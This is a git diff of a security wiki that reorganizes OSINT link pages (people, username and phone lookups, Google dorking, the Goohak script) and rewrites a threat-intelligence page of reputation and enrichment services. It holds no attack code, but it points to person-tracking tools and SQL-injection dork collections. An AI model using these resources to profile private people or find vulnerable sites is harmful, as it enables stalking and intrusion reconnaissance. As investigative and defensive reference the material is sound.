+{% content-ref url="username-email.md" %} +[username-email.md](username-email.md) +{% endcontent-ref %} ## Telephone Numbers @@ -232,10 +196,6 @@ Voter registration records are public in many states and can provide address his These tools were previously included but are now deprecated, shut down, or have become unreliable. They are kept here for historical reference. -**Email OSINT:** -* [Phonebook.cz](https://phonebook.cz/) - Service has been shut down and is no longer accessible. -* [Skymem](http://www.skymem.info/) - Mailing list archive search service that is outdated and no longer maintained reliably. - **Phone Number Lookup:** * [sync.me](https://sync.me/) - Service has significantly changed or shut down, no longer reliable for caller identification. * [EmobileTracker](https://www.emobiletracker.com/) - Less reliable service that may not provide accurate or current information. diff --git a/cyber-intelligence/osint/search-engines/README.md b/cyber-intelligence/osint/search-engines/README.md index 7c861ce..558b9f9 100644 --- a/cyber-intelligence/osint/search-engines/README.md +++ b/cyber-intelligence/osint/search-engines/README.md @@ -6,7 +6,7 @@ Cybersecurity-focused search engines are powerful tools that enable targeted res When beginning any OSINT investigation, consider starting with Search.html, a comprehensive HTML interface created by OSINT expert Michael Bazzell. This tool provides a unified interface for searching multiple sources simultaneously, allowing researchers to efficiently query various search engines and services with a single action. The tool's design facilitates manual analysis and enables investigators to follow multiple leads as they emerge during research. -**Included Search Engines:** Google, Google Date, Bing, Yahoo, Searx, Yandex, Baidu, Exalead, DuckDuckGo, Startpage, Newsgroups, Blogs, FTP Servers, Indexes, Scholars, Patents, Qwant, News, Wayback Machine, and Ahmia. +**Included Search Engines:** Google, Google Date, Bing, Yahoo, Searx, Yandex, Baidu, DuckDuckGo, Startpage, Newsgroups, Blogs, FTP Servers, Indexes, Scholars, Patents, Qwant, News, Wayback Machine, and Ahmia. Some older Search.html entries, such as Exalead, are no longer active public web search engines. The resources listed below provide a solid foundation for search engine-based investigation techniques, though they represent only a starting point for comprehensive OSINT research. @@ -153,6 +153,11 @@ The following tools and services are no longer maintained or have been discontin ## **Training and Educational Resources** -* [TryHackMe - Google Dorking Room](https://tryhackme.com/room/googledorking) - Interactive hands-on training module covering Google Dorking techniques and practical applications * [Google Hacking for Penetration Testers](https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf) - Classic Black Hat Europe presentation on Google Hacking techniques and methodology +Hands-on training has been moved to the Training section. + +{% content-ref url="../../../training/" %} +[training](../../../training/) +{% endcontent-ref %} + diff --git a/cyber-intelligence/osint/search-engines/google-dorking-cheatsheet.md b/cyber-intelligence/osint/search-engines/google-dorking-cheatsheet.md index 30cdf35..f6d163d 100644 --- a/cyber-intelligence/osint/search-engines/google-dorking-cheatsheet.md +++ b/cyber-intelligence/osint/search-engines/google-dorking-cheatsheet.md @@ -14,14 +14,11 @@ Google Dorking (also known as Google Hacking) is a technique that uses advanced * [https://github.com/sushiwushi/bug-bounty-dorks](https://github.com/sushiwushi/bug-bounty-dorks) * [https://github.com/hackingbharat/bug-bounty-dorks-archive/blob/main/bbdorks](https://github.com/hackingbharat/bug-bounty-dorks-archive/blob/main/bbdorks) * [https://github.com/Vinod-1122/bug-bounty-dorks/blob/main/Dorks.txt](https://github.com/Vinod-1122/bug-bounty-dorks/blob/main/Dorks.txt) -* Backlinks - * [https://github.com/alfazzafashion/Backlink-dorks](https://github.com/alfazzafashion/Backlink-dorks) - * [https://www.techywebtech.com/2021/08/backlink-dorks.html](https://www.techywebtech.com/2021/08/backlink-dorks.html) - * [https://www.blackhatworld.com/seo/get-backlinks-yourself-1150-dorks-for-forum-hunting.380843/](https://www.blackhatworld.com/seo/get-backlinks-yourself-1150-dorks-for-forum-hunting.380843/) - * CMS Dorks - * Wordpress [https://pastebin.com/A9dsmgHQ](https://pastebin.com/A9dsmgHQ) - * Magento [https://pastebin.com/k75Y2QhF](https://pastebin.com/k75Y2QhF) - * Joomla [https://pastebin.com/vVQFTzVC](https://pastebin.com/vVQFTzVC) +* CMS and SQL injection dork collections are useful for web application testing. Keep exploitation context in the web application and offensive testing sections. + +{% content-ref url="../../../web-app-hacking/" %} +[web-app-hacking](../../../web-app-hacking/) +{% endcontent-ref %} ## Google Dorking Cheatsheet diff --git a/cyber-intelligence/osint/search-engines/goohak.sh-code.md b/cyber-intelligence/osint/search-engines/goohak.sh-code.md index e0acc2a..662d11f 100644 --- a/cyber-intelligence/osint/search-engines/goohak.sh-code.md +++ b/cyber-intelligence/osint/search-engines/goohak.sh-code.md @@ -4,6 +4,14 @@ description: https://github.com/1N3/Goohak/blob/master/goohak # Goohak.sh Code +{% hint style="warning" %} +This page is a historical reference for the original Goohak script. Several embedded URLs in the script are now stale or discontinued, including older Censys paths, XSSposed, PunkSpider, and ThreatCrowd. Use the maintained Google dorking page and EasyRecon for current workflows. +{% endhint %} + +{% content-ref url="google-dorking-cheatsheet.md" %} +[google-dorking-cheatsheet.md](google-dorking-cheatsheet.md) +{% endcontent-ref %} + ``` #!/bin/bash # + -- --=[GooHak by @xer0dayz diff --git a/cyber-intelligence/osint/socmint-social-media.md b/cyber-intelligence/osint/socmint-social-media.md index 75cb996..274a7a4 100644 --- a/cyber-intelligence/osint/socmint-social-media.md +++ b/cyber-intelligence/osint/socmint-social-media.md @@ -17,15 +17,17 @@ * [https://findmyfbid.in/](https://findmyfbid.in/) - Multi-platform toolkit for Facebook, Twitter, Instagram, Reddit, and YouTube. Features include finding user IDs, searching Reddit comments, and calculating YouTube channel earnings. * [Orion](https://github.com/Araekiel/orion) - Open-source search engine for social networking websites. * [Hashatit.com](https://www.hashatit.com/) - Hashtag search engine supporting Twitter, Instagram, Facebook, YouTube, and Pinterest. -* [https://github.com/p1ngul1n0/blackbird](https://github.com/p1ngul1n0/blackbird) - OSINT tool for searching and discovering social media accounts by username across multiple platforms. -* [Sherlock](https://github.com/sherlock-project/sherlock) - Hunt down social media accounts by username across 400+ social networks. Fast, efficient, and actively maintained. -* [WhatsMyName](https://whatsmyname.app/) - Web-based username enumeration tool that checks for username availability across 600+ platforms. -* [Maigret](https://github.com/soxoj/maigret) - Advanced username search tool that collects detailed information from 3000+ sites, including profile data and account creation dates. * [https://www.crowdtangle.com/features](https://www.crowdtangle.com/features) - **DEPRECATED:** CrowdTangle was shut down by Meta in August 2024. Replaced by Meta Content Library (requires academic/research access). * [Social-Analyzer](https://github.com/qeeqbox/social-analyzer) - API, CLI, and web app for analyzing and finding a person's profile across 1000+ social media/websites.
+General username enumeration tools such as Sherlock, WhatsMyName, Maigret, and Blackbird are maintained on the Username/Email page. + +{% content-ref url="username-email.md" %} +[username-email.md](username-email.md) +{% endcontent-ref %} + {% file src="../../.gitbook/assets/Communities.html" %}
@@ -344,6 +346,12 @@
+For Tor, VPN, privacy, and persona OPSEC guidance, use the privacy section. + +{% content-ref url="../../grey-privacy-tor-opsec/" %} +[grey-privacy-tor-opsec](../../grey-privacy-tor-opsec/) +{% endcontent-ref %} +
Deprecated or Limited Functionality Tools diff --git a/cyber-intelligence/osint/username-email.md b/cyber-intelligence/osint/username-email.md index e11d0ac..f59febf 100644 --- a/cyber-intelligence/osint/username-email.md +++ b/cyber-intelligence/osint/username-email.md @@ -119,19 +119,11 @@ Verify whether an email address is valid and actively registered before conducti
-
- -Comprehensive OSINT Frameworks - -These frameworks automate multiple OSINT techniques including username and email enumeration: +Broad recon frameworks such as SpiderFoot, Recon-ng, Maltego, and Sn1per are maintained with recon frameworks. Use this page for username and email-specific pivots. -* [SpiderFoot](https://github.com/smicallef/spiderfoot) - Automated OSINT reconnaissance tool that integrates with 200+ data sources. Performs comprehensive email, username, and domain analysis. -* [Recon-ng](https://github.com/lanmaster53/recon-ng) - Full-featured web reconnaissance framework with modules for email harvesting, breach data searches, and account enumeration -* [Maltego](https://www.maltego.com/) - Data mining and link analysis tool excellent for visualizing relationships between usernames, emails, domains, and social media accounts -* [OSINT Framework](https://osintframework.com/) - Comprehensive directory of OSINT tools organized by category (reference this for additional username/email tools) -* [Sn1per](https://github.com/1N3/Sn1per) - Automated pentest reconnaissance scanner with OSINT capabilities including email and username discovery - -
+{% content-ref url="../../red-offensive/scanning-active-recon/recon-frameworks.md" %} +[recon-frameworks.md](../../red-offensive/scanning-active-recon/recon-frameworks.md) +{% endcontent-ref %}
@@ -205,6 +197,7 @@ These tools were previously included but are now deprecated, shut down, or have * [Phonebook.cz](https://phonebook.cz/) - Service has been shut down and is no longer accessible. Consider using IntelligenceX or Hunter.io as alternatives. * [EmailCrawlr](https://emailcrawlr.com/) - Service appears to be offline or unreliable. Use Hunter.io or Apollo.io instead. * [Public Mail Records](https://publicemailrecords.com/) - Service reliability has declined significantly. +* [Skymem](http://www.skymem.info/) - Mailing list archive search service that is outdated and no longer maintained reliably. **Email Verification:** * [TruMail](https://trumail.io/) - API service is no longer reliably accessible. Use Email Hippo or NeverBounce as alternatives. diff --git a/cyber-intelligence/threat-data.md b/cyber-intelligence/threat-data.md index 53c6c62..7765362 100644 --- a/cyber-intelligence/threat-data.md +++ b/cyber-intelligence/threat-data.md @@ -4,357 +4,165 @@ description: Is this bad? # Threat Data -## Intro +Use this page for indicator reputation, enrichment, passive DNS, certificate history, blockchain analysis, and quick lookup tools. Detection engineering, YARA, sandboxes, reverse engineering, active recon, and exploit research live in their own sections. -When investigating the reputation and threat data behind an indicator, there are two main components: checking for the presence of the indicator on available blacklists and enriching your investigation with intelligence and metadata around the target indicator. +## How to Use This Page -When checking your indicators against the sources below, be sure to examine all available data beyond the blacklist check. Tools like Hurricane Electric and Cisco Talos can provide information about the ASN or subnet an indicator is a part of. Use them to determine if not just one IP is flagged, but whether an entire subnet or ASN is compromised. For domains, review registration information and registration dates. When was that domain registered? Have you encountered malicious domains registered by this user before? Always examine any related data, even if it's as simple as the comments section of VirusTotal. Other analysts can save you considerable time by sharing insights through simple notes. - -**⚠️ WARNING**: An indicator can still be malicious even if it does not appear on any searched blacklists. Never assume an indicator is benign simply because your searches returned no results. Absence of evidence is not evidence of absence. +Reputation checks are starting points, not verdicts. An indicator can still be malicious even if it does not appear on any blacklist, and a shared service, CDN, or compromised host can create false positives. Use multiple sources, document what each source said, and keep the surrounding context: ASN, registrar, creation date, passive DNS history, related certificates, associated malware families, and analyst comments. ## Threat Maps -Threat maps provide real-time visualizations showing volume trends in traffic and detected cyber attacks mapped to geographic locations worldwide. These dashboards offer valuable situational awareness and can be useful for monitoring global threat patterns and identifying emerging attack trends. - -
- -Threat Maps +Threat maps can help with situational awareness, but they should not be treated as precise telemetry for a specific incident. -* [https://threatmap.bitdefender.com](https://threatmap.bitdefender.com) -* [https://cybermap.kaspersky.com](https://cybermap.kaspersky.com) -* [https://www.digitalattackmap.com](https://www.digitalattackmap.com) - **Note: This service has been discontinued.** -* [Mandiant Cyber Threat Map](https://www.mandiant.com/resources/cyber-threat-map) - (Previously FireEye) -* [https://map.lookingglasscyber.com](https://map.lookingglasscyber.com) -* [https://threatmap.checkpoint.com](https://threatmap.checkpoint.com) -* [https://talosintelligence.com/reputation\_center/](https://talosintelligence.com/reputation\_center/) -* [https://talosintelligence.com/fullpage\_maps/](https://talosintelligence.com/fullpage\_maps/) -* [https://www.spamhaus.com/threat-map/](https://www.spamhaus.com/threat-map/) -* [https://www.imperva.com/cyber-threat-attack-map/](https://www.imperva.com/cyber-threat-attack-map/) -* [https://threatbutt.com/map/](https://threatbutt.com/map/) -* [https://threatmap.fortiguard.com](https://threatmap.fortiguard.com) -* [Sophos Threat Dashboard](https://www.sophos.com/en-us/threat-center) -* [https://horizon.netscout.com](https://horizon.netscout.com) -* [https://securitycenter.sonicwall.com/m/page/worldwide-attacks](https://securitycenter.sonicwall.com/m/page/worldwide-attacks) - -
+* [Bitdefender Threat Map](https://threatmap.bitdefender.com) +* [Kaspersky Cyberthreat Real-Time Map](https://cybermap.kaspersky.com) +* [Mandiant Cyber Threat Map](https://www.mandiant.com/resources/cyber-threat-map) +* [Checkpoint Threat Map](https://threatmap.checkpoint.com) +* [FortiGuard Threat Map](https://threatmap.fortiguard.com) +* [Sophos Threat Center](https://www.sophos.com/en-us/threat-center) +* [NETSCOUT Horizon](https://horizon.netscout.com) +* [SonicWall Worldwide Attacks](https://securitycenter.sonicwall.com/m/page/worldwide-attacks) +* [Spamhaus Threat Map](https://www.spamhaus.com/threat-map/) ## Threat Actor Information -Major threat actors are continuously researched to build comprehensive intelligence profiles. This ongoing analysis aids in identifying future attacks, understanding threat actor tactics, techniques, and procedures (TTPs), and providing accurate attribution. - -
- -Threat Actor Information - -* [https://darkfeed.io/ransomwiki/](https://darkfeed.io/ransomwiki/) - A researcher-focused site that tracks and provides links to various ransomware group dark web sites. -* [Ransomware Group Site](http://ransomwr3tsydeii4q43vazm7wofla5ujdajquitomtd47cxjtfgwyyd.onion/) - An onion site providing links and details about active ransomware groups. - * [Clearnet Proxy](http://ransomwr3tsydeii4q43vazm7wofla5ujdajquitomtd47cxjtfgwyyd.onion.pet/) -* [Crowdstrike E-Crime Index](https://adversary.crowdstrike.com/en-US/ecrime-index-ecx/?L=236) -* [https://malpedia.caad.fkie.fraunhofer.de/](https://malpedia.caad.fkie.fraunhofer.de/) - A resource for rapid identification and actionable context when investigating malware. - -
- -## Infrastructure Search Engines - -Internet-connected device search engines provide valuable reconnaissance data by scanning and indexing exposed services, devices, and vulnerabilities across the internet. These platforms are essential for identifying infrastructure associated with threats. - -
- -Infrastructure Search Engines - -* [Shodan](https://www.shodan.io/) - The world's first search engine for Internet-connected devices, providing information on exposed services, ICS/SCADA systems, and misconfigured devices. -* [Censys](https://search.censys.io/) - Internet-wide scanning platform providing data on hosts, certificates, and websites with extensive filtering capabilities. -* [BinaryEdge](https://www.binaryedge.io/) - Internet scanning platform with threat intelligence data, open port detection, and vulnerability information. -* [FOFA](https://fofa.info/) - Cyberspace search engine with advanced filtering for identifying internet assets and exposed services. -* [ZoomEye](https://www.zoomeye.org/) - Cyberspace search engine by Knownsec, indexing devices and web services worldwide. -* [Onyphe](https://www.onyphe.io/) - Cyber defense search engine collecting open-source and cyber threat intelligence data. -* [FullHunt](https://fullhunt.io/) - Attack surface database providing exposure discovery and reconnaissance data. - -
- -## **Blacklist Checks and Reputation Data** - -
- -Multi - Blacklist Checkers - -* [Hurricane Electric BGP Toolkit](https://bgp.he.net/) - * Searches: IP address, Domain, ASN, Subnet - * Returns: IP information, WHOIS, DNS (A records), Reputation Check ( IP Only - 93 sources), Website info, Website Preview -* [Virustotal](https://www.virustotal.com/) - * Searches: File, hash, ip, domain search - * Returns: Reputation check (84 sources), DNS records, HTTPS Cert, WHOIS, Related domains, Community comments - * Has a premium API - * [https://virustotal.com/wargame/ ](https://virustotal.com/wargame/)- Virustotal training! - * [https://github.com/Neo23x0/vti-dorks](https://github.com/Neo23x0/vti-dorks) - VirusTotal Dorking -* [Cisco Talos](https://talosintelligence.com/reputation\_center) - * Searches: IP and Domain data - * Returns: Reputation check, content details, mail servers, owner details, Subnet reputation details, WHOIS, email volume history, Top Network owners -* [MXtoolbox Blacklist checker](https://mxtoolbox.com/blacklists.aspx) - * Search: Domain, IP address - * Returns: Reputation data (94 blacklists) -* [MultiRBL](http://multirbl.valli.org/lookup/) - * Searches: IP, domain - * Returns: FCrDNS Test data, Reputation data (242 blacklist checks) -* [https://www.infobyip.com/ipbulklookup.php](https://www.infobyip.com/ipbulklookup.php) - (Honorable Mention) - A great tool that allows you to take a bulk list of IP addresses or Domains and check them for the presence on blacklists. - -
+* [DarkFeed RansomWiki](https://darkfeed.io/ransomwiki/) - Ransomware group tracking and links. +* [CrowdStrike Adversary Universe](https://adversary.crowdstrike.com/) - Threat actor profiles and e-crime tracking. +* [Malpedia](https://malpedia.caad.fkie.fraunhofer.de/) - Malware family and actor context. Malware analysis details are maintained in DFIR. -
- -IP Reputation data - -* [IPVoid](https://www.ipvoid.com/ip-blacklist-check/) - Returns: Reputation data (115 sources checked), Reverse DNS, ASN, Country -* [DNSBL Email server spam checker](https://www.dnsbl.info/) - Checks IP of mail server for spam data across 100+ blacklists -* [IPSpam List](http://www.ipspamlist.com/ip-lookup/) - Checks IP against their internal blacklist for reporting spam -* [Cymru IP Reputation Lookup](https://reputation.team-cymru.com/) - Checks IP against Cymru's internal reputation feed (High quality) -* [http://www.blocklist.de/en/search.html](http://www.blocklist.de/en/search.html) - Check if a netblock or IP is malicious according to blocklist.de. -* [https://www.projecthoneypot.org/search\_ip.php](https://www.projecthoneypot.org/search\_ip.php) - Checks IP Attack data from distributed honeypot network. -* [https://focsec.com/](https://focsec.com/) (API ONLY) - Determine if a user’s IP address is associated with a VPN, Proxy, TOR or malicious bots. -* [https://www.ipqualityscore.com/ip-reputation-check](https://www.ipqualityscore.com/ip-reputation-check) - Use this free tool to accurately **check IP Reputation** using leading IP address intelligence. **Lookup IP reputation history** which could indicate SPAM issues, threats, or elevated IP fraud scores that could be causing your IP address to be blocked and blacklisted. - * [https://www.ipqualityscore.com/vpn-ip-address-check](https://www.ipqualityscore.com/vpn-ip-address-check) - Use this tool to perform a **VPN detection test** on any IP address. Lookup any IP addresses that recently allowed VPN activity or functioned as a Virtual Private Network. - -
- -
- -URL/Domain Reputation data - -* [URLScan ](https://urlscan.io/) - Returns: Summary data, Reputation data, IP data, domain tree, HTTP transaction data, Screenshot of page, Detected Technologies, links -* [URLVoid](https://www.urlvoid.com/) - Returns Reputation data (34 sources), Registration info, WHOIS, Reverse DNS, ASN -* [Zscaler Zulu](https://zulu.zscaler.com/) - Returns: URL info, Risk analysis, Content, URL checks, Host checks -* [PhishTank](https://www.phishtank.com/) - Community-driven phishing site database. Returns: Phishing verification status, submission details, and related information -* [Quttera Malware Scanner ](https://quttera.com/website-malware-scanner)- Returns: Website malware scan report -* [MergiTools RBL check](https://megritools.com/blacklist-lookup) - Returns: Reputation data -* [Malware Domain Lists](http://www.malwaredomainlist.com/mdl.php?search=\&colsearch=All\&quantity=50) - **Note: This service appears to be no longer actively maintained.** Returns: Reputation data -* [Sucuri SiteCheck](https://sitecheck.sucuri.net/) - Returns: Security check and malware scan -* [https://lots-project.com/](https://lots-project.com/) - Living Off Trusted Sites (LOTS) Project, Attackers are using popular legitimate domains when conducting phishing, C\&C, exfiltration and downloading tools to evade detection. The list of websites below allow attackers to use their domain or subdomain. -* [https://reports.adguard.com/en/welcome.html](https://reports.adguard.com/en/welcome.html) - Checks if site is on AdGuard's block list - -
- -
- -File Hash Reputation Data - -* [Cisco Talos File Reputation ](https://talosintelligence.com/talos\_file\_reputation)- SHA256 Only -* [Abuse\[.\]ch Malware Bazaar ](https://bazaar.abuse.ch/browse/)- Searches MD5, SHA256, and Keyword - * Returns: Hash, tag, file type, clamAV signature, Yara rule, misc. -* [Cymru MHR lookup](https://hash.cymru.com/) - Searches MD5, SHA-1, and SHA-256 -* [CIRCL Hashlookup](https://hashlookup.circl.lu/) - A super handy API hash lookup from the creators of MISP. Takes MD5, SHA-1, and SHA-256. -* [Xcitium Valkyrie](https://valkyrie.comodo.com/) - (Previously Comodo Valkyrie) SHA-1 and SHA-256 support. Returns: File name, submit date, threat verdict by dynamic and human analysis. - -
- -
- -File Analysis & Sandboxing Platforms - -* [Hybrid Analysis](https://www.hybrid-analysis.com/) - Free malware analysis service powered by Falcon Sandbox, providing detailed behavioral analysis and threat scoring. -* [ANY.RUN](https://app.any.run/) - Interactive malware analysis sandbox allowing real-time interaction with samples in isolated environments. -* [Joe Sandbox](https://www.joesandbox.com/) - Deep malware analysis platform with comprehensive behavioral analysis and reporting. -* [Triage](https://tria.ge/) - Automated malware analysis sandbox by Hatching with fast analysis and detailed reports. -* [Intezer Analyze](https://analyze.intezer.com/) - Genetic malware analysis platform that identifies code reuse and similarities to known threats. -* [Cuckoo Sandbox](https://cuckoosandbox.org/) - Open-source automated malware analysis system. -* [VirusTotal](https://www.virustotal.com/) - Already listed above but also provides sandboxed file execution analysis. -* [UnpacMe](https://www.unpac.me/) - Automated malware unpacking service for analyzing packed samples. +{% content-ref url="../dfir-digital-forensics-and-incident-response/malware.md" %} +[malware.md](../dfir-digital-forensics-and-incident-response/malware.md) +{% endcontent-ref %} -
+## Blacklist Checks and Reputation Data + +### Multi-Source Lookups + +* [Hurricane Electric BGP Toolkit](https://bgp.he.net/) - IP, domain, ASN, subnet, WHOIS, BGP, DNS, and related metadata. +* [VirusTotal](https://www.virustotal.com/) - File, hash, IP, URL, and domain reputation with community comments and relationship pivots. + * [VirusTotal Dorks](https://github.com/Neo23x0/vti-dorks) +* [Cisco Talos Intelligence](https://talosintelligence.com/reputation_center) - IP, domain, network owner, email volume, and reputation data. +* [MXToolbox Blacklist Check](https://mxtoolbox.com/blacklists.aspx) - Domain and IP blacklist checks. +* [MultiRBL](http://multirbl.valli.org/lookup/) - DNSBL and FCrDNS lookup. +* [InfoByIP Bulk IP Lookup](https://www.infobyip.com/ipbulklookup.php) - Bulk IP/domain lookup. + +### IP Reputation + +* [IPVoid](https://www.ipvoid.com/ip-blacklist-check/) - IP blacklist, reverse DNS, ASN, and geolocation summary. +* [DNSBL.info](https://www.dnsbl.info/) - Mail server DNSBL checks. +* [Team Cymru IP Reputation](https://reputation.team-cymru.com/) - IP reputation lookup. +* [blocklist.de](http://www.blocklist.de/en/search.html) - Abuse-oriented IP and netblock lookup. +* [Project Honey Pot](https://www.projecthoneypot.org/search_ip.php) - Distributed honeypot IP activity. +* [Focsec](https://focsec.com/) - API-only VPN, proxy, Tor, and bot risk checks. +* [IPQualityScore IP Reputation](https://www.ipqualityscore.com/ip-reputation-check) - IP fraud, spam, proxy, and VPN risk checks. + * [IPQualityScore VPN IP Check](https://www.ipqualityscore.com/vpn-ip-address-check) + +### URL and Domain Reputation + +* [urlscan.io](https://urlscan.io/) - URL scanning, screenshot, HTTP transaction, IP, domain tree, and technology data. +* [URLVoid](https://www.urlvoid.com/) - URL/domain reputation, WHOIS, reverse DNS, and ASN data. +* [Zscaler Zulu](https://zulu.zscaler.com/) - URL risk analysis. +* [PhishTank](https://www.phishtank.com/) - Community phishing URL database. +* [Google Safe Browsing](https://transparencyreport.google.com/safe-browsing/search) - Google phishing and malware status. +* [Quttera](https://quttera.com/website-malware-scanner) - Website malware scanning. +* [Sucuri SiteCheck](https://sitecheck.sucuri.net/) - Website malware and security checks. +* [AdGuard Reports](https://reports.adguard.com/en/welcome.html) - AdGuard block list lookup. +* [LOTS Project](https://lots-project.com/) - Legitimate domains commonly abused for phishing, C2, exfiltration, and malware delivery. + +### File Hash Reputation + +* [Cisco Talos File Reputation](https://talosintelligence.com/talos_file_reputation) - SHA-256 file reputation. +* [MalwareBazaar](https://bazaar.abuse.ch/browse/) - Malware samples and hash lookup from abuse.ch. +* [Team Cymru Malware Hash Registry](https://hash.cymru.com/) - MD5, SHA-1, and SHA-256 hash lookup. +* [CIRCL Hashlookup](https://hashlookup.circl.lu/) - Hash lookup API from CIRCL. +* [Xcitium Valkyrie](https://valkyrie.comodo.com/) - File verdicts and dynamic analysis metadata. + +For full sandboxing and malware behavior analysis, use DFIR sandboxing. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/sandboxing.md" %} +[sandboxing.md](../dfir-digital-forensics-and-incident-response/sandboxing.md) +{% endcontent-ref %} -
+### Email and Spam Data -Email/Spam Data +* [EmailRep](https://emailrep.io/) - Email reputation, domain reputation, social presence, and policy context. +* [MXToolbox MX Lookup](https://mxtoolbox.com/MXLookup.aspx) and [SuperTool](https://mxtoolbox.com/SuperTool.aspx) - MX, DMARC, DNS, and blacklist pivots. +* [HaveIBeenEmotet](https://www.haveibeenemotet.com/) - Historical Emotet malspam involvement lookup. -* [Simple Email Rep checker](https://emailrep.io/) - Returns: Domain reputation, presence on social media, Blacklisted/Malicious activity, Email policy settings -* [MXtoolbox MX lookup](https://mxtoolbox.com/MXLookup.aspx) and [Super tool ](https://mxtoolbox.com/SuperTool.aspx)- Returns: Host information, DMARC and DNS record data, Pivot to Blacklist check -* [HaveIBeenEmotet](https://www.haveibeenemotet.com/) - **Note: Emotet was disrupted in 2021 but has reemerged.** Returns: If your email address or domain is involved in the Emotet malspam. +## Indicator Enrichment -
+These platforms add context to indicators through scanner telemetry, historical data, abuse reports, and related infrastructure. -## **Indicator Enrichment** +* [GreyNoise](https://viz.greynoise.io/) - Separates internet background noise from targeted activity and provides scanner tags. +* [BrightCloud URL/IP Lookup](https://brightcloud.com/tools/url-ip-lookup.php) - URL/IP category and reputation. +* [AbuseIPDB](https://www.abuseipdb.com/) - IP abuse reporting and confidence scores. +* [SANS DShield](https://secure.dshield.org/) - Honeypot, SSH, port, header, and reputation context. +* [ThreatFox](https://threatfox.abuse.ch/browse/) - IoC library from abuse.ch. +* [Spamhaus](https://check.spamhaus.org/) - IP and domain blacklist status. +* [ThreatIntelligencePlatform.com](https://threatintelligenceplatform.com) - Domain/IP/hash enrichment. +* [OPSWAT MetaDefender](https://metadefender.opswat.com/?lang=en) - File, URL, IP, domain, hash, and CVE lookup. +* [Microsoft Defender Threat Intelligence](https://ti.defender.microsoft.com/) - Microsoft threat intelligence platform, formerly RiskIQ/PassiveTotal. +* [Pulsedive](https://pulsedive.com/) - Indicator, threat, and feed enrichment. +* [ThreatShare](https://threatshare.io/malware/) - Malware URL and family context. +* [PhishStats](https://phishstats.info/) - Phishing URL metadata. +* [Abusix Lookup](https://lookup.abusix.com/) - IP, domain, and email blocklist lookup. +* [CleanTalk](https://cleantalk.org) - Spam and blocklist checks. -While these resources may not specifically return reputation data, they leverage internet scanning services, global traffic metadata, and indicator enrichment platforms to provide valuable context for threat intelligence investigations. This additional context is crucial for comprehensive indicator analysis. +Threat intelligence platforms and feed management tools live in Intel Feeds and Sources. -{% content-ref url="osint/cyber-search.md" %} -[cyber-search.md](osint/cyber-search.md) +{% content-ref url="intel-feeds-and-sources.md" %} +[intel-feeds-and-sources.md](intel-feeds-and-sources.md) {% endcontent-ref %} -
- -Indicator Enrichment Tools - -* [Greynoise](https://viz.greynoise.io/) - * Searches: IP address, domain - * Returns: Reputation data, tags of related activity, location data, “last-seen”, reverse DNS, Threat Actor Information, Related Organizations, Related ASNs, Top Operating Systems, service type - * Premium API available, command line version available - * [Community API (Free)](https://developer.greynoise.io/reference/community-api) - * [https://www.greynoise.io/viz/cheat-sheet](https://www.greynoise.io/viz/cheat-sheet) - * [https://github.com/GreyNoise-Intelligence/pygreynoise](https://github.com/GreyNoise-Intelligence/pygreynoise) - * _Operator Handbook: Greynoise - pg. 84_ -* [BrightCloud URL/IP Lookup](https://brightcloud.com/tools/url-ip-lookup.php) - * Searches: IP address, domain, URL - * Returns: Web Reputation score, Web category classification, threat information -* [ThreatCrowd](https://www.threatcrowd.org/) - **Note: This service is deprecated. Data has been migrated to AlienVault OTX.** - * Searches: Domain, IP, Email, Organization - * Returns: Reputation data, WHOIS, Reverse DNS, Open Ports, Subdomains, Related Entity Graph, pivot search to AlienVault OTX indicator information -* [AbuseIPDB](https://www.abuseipdb.com/) - * Searches: IP, Subnet (CIDR notation) - * Returns: Reputation data, abuse confidence score, usage type, location info, recent reports -* [SANS D-Shield](https://secure.dshield.org/) - * Searches: Keyword, IP, domain, Port, Header - * Returns: General information, Reputation data, SSH logs, Honeypot logs, WHOIS -* [Abuse\[.\]ch ThreatFox IOC library](https://threatfox.abuse.ch/browse/) - * Search: IoCs (ip, domain, hash, etc.) - * Returns: date, IoC, malware family, Tags, Reporter -* [Spamhaus Project](https://check.spamhaus.org/) - * Searches: IP, Domain - * Returns: Reputation data, blacklist status (SBL, XBL, DBL, etc.) -* [ThreatInteligencePlatform.com](https://threatintelligenceplatform.com) - * Searches: IP, Domain, Hash - * Returns: Reputation Data, Web site data, Open Ports, SSL Certificate data, Malware Detection, WHOIS, MX records and config, NS records and config -* [OPSWAT Metadefender](https://metadefender.opswat.com/?lang=en) - * Searches: File, URL, IP, Domain, Hash, CVE - * Returns: Any detection from multiple other engines with link to that engines data. -* [Microsoft Defender Threat Intelligence Articles](https://community.riskiq.com/home) - (Previously RiskIQ) - * Searches: Domain, Hosts, IP, Email, Hash, Tags - * Returns: Associated intelligence article containing the searched for indicator -* [PulseDive](https://pulsedive.com/) - * Searches: Indicators, Threats, Feeds, Misc. data - * Returns: Risk Info, Highlights, Ports, Threat info, Reputation data, Linked Indicators -* [Malc0de database](https://malc0de.com/database/) - * Searches: IP, domain, hash, ASN - * Returns: Malware information, IP/domain reputation data, and related indicators -* [ThreatShare](https://threatshare.io/malware/) - * Searches: IP, URL - * Returns: malware family, online status, URLscan data -* [Phishstats](https://phishstats.info/) (Public Dashboard 2) - * Searches: IP, host, domain, full URL - * Returns: Related metadata and reputation data. -* [TweetTIOC](http://tweettioc.com/) - A powerful tool that scrapes X (formerly Twitter) for IoCs that are publicly reported through the platform and aggregates them into a searchable repository. Socially-sourced IoCs are one of the fastest ways to obtain information on newly discovered indicators, as they often include context around their discovery. -* [https://lookup.abusix.com/](https://lookup.abusix.com/) - * Search: IP, domain, or email address - * Returns: Presence on internal blocklist and misc available detail. -* [https://cleantalk.org/#](https://cleantalk.org) - * Search: IP Addresses, Email, Subnet, Domain - * Returns: Presence on internal blocklist for spam activity - -
- -
